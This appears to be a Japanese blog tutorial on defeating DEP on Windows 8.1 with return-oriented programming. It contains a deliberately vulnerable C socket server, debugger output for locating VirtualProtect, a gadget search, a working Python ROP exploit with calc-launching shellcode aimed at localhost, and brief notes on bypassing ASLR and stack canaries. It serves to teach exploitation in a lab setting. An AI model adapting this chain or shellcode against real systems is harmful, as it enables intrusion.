WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる

「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」では、DEPを無効にした状態でシェルコードの実行を行った。 ここでは、DEPが有効な環境下において、ROP(Return-oriented Programming)によるシェルコード実行をやってみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>cdb -version
cdb version 6.3.9600.17298

脆弱性のあるプログラムを書いてみる

「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void somewhere()
{
    char buf[1024];
    DWORD oldprotect;
    VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect);
}

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

上のコードでは、プログラム中のどこかでVirtualProtect関数が使われている状況を想定し、somewhere関数を追加してある。

ASLRstack canary(/GS)を無効にし、DEPが有効となる設定でコンパイルする。

>cl bof.c /GS- /link /dynamicbase:no

生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。

$ nc localhost 4444
foo
>bof.exe
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBF0

正常に実行できていることが確認できる。

Import Address Tableを調べてみる

DEPが有効な場合、シェルコードを実行するにはあらかじめVirtualProtect関数VirtualAlloc関数を呼び出すことにより実行可能なメモリ領域を確保する必要がある。 プログラム中でこれらの関数が利用されている場合、Import Address Tableにこれらの関数を指すポインタが格納されている。 そこで、デバッガからプログラムを実行し、Import Address Tableの内容を調べてみる。

>cdb bof.exe
(snip)
Executable search path is:
ModLoad: 00400000 00415000   image00400000
ModLoad: 77a50000 77bbe000   ntdll.dll
(snip)
(20.1a68): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=a24a0000 edx=00000000 esi=7ffde000 edi=00000000
eip=77b03bed esp=0018faec ebp=0018fb18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77b03bed cc              int     3
0:000> !dh 00400000 -f

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       3 number of sections
559CB371 time date stamp Wed Jul 08 14:21:53 2015

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
     103 characteristics
            Relocations stripped
            Executable
            32 bit word machine

OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
    B600 size of code
    7800 size of initialized data
       0 size of uninitialized data
    14E4 address of entry point
    1000 base of code
         ----- new -----
00400000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
   15000 size of image
     400 size of headers
       0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
    8100  DLL characteristics
            NX compatible
            Terminal server aware
       0 [       0] address [size] of Export Directory
   11154 [      3C] address [size] of Import Directory
       0 [       0] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
       0 [       0] address [size] of Base Relocation Directory
       0 [       0] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
   10DB0 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    D000 [     120] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

0:000> dps 00400000+d000 00400000+d000+120
0040d000  754387e0 KERNEL32!InitializeCriticalSectionAndSpinCount
0040d004  75438930 KERNEL32!CreateFileW
0040d008  754386f0 KERNEL32!CloseHandle
0040d00c  75427af0 KERNEL32!LCMapStringWStub
0040d010  75439850 KERNEL32!ExitProcessImplementation
0040d014  75428ab0 KERNEL32!VirtualProtectStub
0040d018  7542b5a0 KERNEL32!GetCommandLineAStub
(snip)
0:000> q
quit:

上の結果から、VirtualProtect関数を指すポインタが0040d014にあることがわかる。 なお、このポインタの値としてセットされる実際の関数アドレスは実行時に解決される。 Windows 8ではkernel32.dllを含む多くのシステムDLLはASLRが有効となっており、OSが起動するタイミングごとに配置されるアドレスが変化する。

ROP gadgetを探してみる

次に、上で調べたポインタからVirtualProtect関数を呼び出すためのROP gadgetを探してみる。 ROP gadget検索ツールであるrp++を使い実行ファイルを調べると、次のようなgadgetを見つけることができる。

$ ./rp-win-x64.exe --file=bof.exe --rop=1 --unique > gadgets.txt

$ grep ": jmp" gadgets.txt
0x004022e7: jmp dword [eax] ;  (3 found)
0x0040b222: jmp dword [ebx] ;  (2 found)
0x0040574c: jmp dword [ecx] ;  (2 found)

$ grep ": pop" gadgets.txt
0x00401067: pop ebp ; ret  ;  (192 found)
0x004054ee: pop ebx ; ret  ;  (3 found)
0x00401367: pop ecx ; ret  ;  (30 found)
0x00404159: pop edi ; ret  ;  (19 found)
0x004016f7: pop esi ; ret  ;  (17 found)
0x00408034: pop esp ; ret  ;  (1 found)

上の結果より、pop ecxでecxにポインタのアドレスをセットした後jmp dword [ecx]を実行することで、ポインタが指す関数を呼び出せることがわかる。

エクスプロイトコードを書いてみる

以上の内容をもとに、ROPでVirtualProtect関数を呼び出した後シェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import socket
import struct

addr_buf = 0x0018FBF0
addr_pop_ecx = 0x00401367        # 0x00401367: pop ecx ; ret  ;  (30 found)
addr_jmp_ptr_ecx = 0x0040574c    # 0x0040574c: jmp dword [ecx] ;  (2 found)
iat_virtualprotect = 0x0040d014  # 0040d014  75428ab0 KERNEL32!VirtualProtectStub
bufsize = 400

# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF'

buf = 'A' * bufsize
buf += 'AAAA'                                   # saved ebp
buf += struct.pack('<I', addr_pop_ecx)          # retaddr
buf += struct.pack('<I', iat_virtualprotect)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to VirtualProtect()
buf += struct.pack('<I', addr_buf+bufsize+4*9)
buf += struct.pack('<I', addr_buf)              # lpAddress
buf += struct.pack('<I', 1024)                  # dwSize
buf += struct.pack('<I', 0x40)                  # flNewProtect = PAGE_EXECUTE_READWRITE
buf += struct.pack('<I', addr_buf)              # lpflOldProtect
buf += shellcode

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」においてデバッガでアセンブリコードを確認した結果などから、32bit Windowsアプリケーションでは関数の引数はスタックに積まれることがわかる。 したがって、ROPにおいてVirtualProtect関数を呼び出す際は通常call命令で積まれることになるリターンアドレスを挟んで順に引数を並べればよい。 また、lpflOldProtectで指定したアドレスには変更前のメモリ属性が書き込まれるが、NULLの場合関数が失敗してしまうため、ここでは適当な書き込み可能アドレスとしてバッファの先頭を指定している。

bof.exeを起動し、エクスプロイトコードを実行してみる。

$ python exploit.py

シェルコードが実行され、電卓が起動することが確認できる。

ASLRおよびstack canaryの回避

ここでは、コンパイル時にASLRおよびstack canary(/GS)を無効にしたが、これらが有効な場合については次のような方法が使われる。

  • JScriptActionScriptを利用したHeap sprayにより、0x0c0c0c0cなどの固定アドレスにROPシーケンスおよびシェルコードを配置
  • vtable overwriteによりstack pivotを行い、配置したROPシーケンスに処理を移す
  • ロードされているDLLのうちASLRが無効なものを使い、ROPによりVirtualProtect関数を呼び出す
  • シェルコードを実行

また、Windows 7以前においては、ASLRが無効なDLLを用いる方法のほかに、固定アドレスに配置されているシステムコール関数を使ってVirtualProtect相当の処理を行う方法も知られている。

関連リンク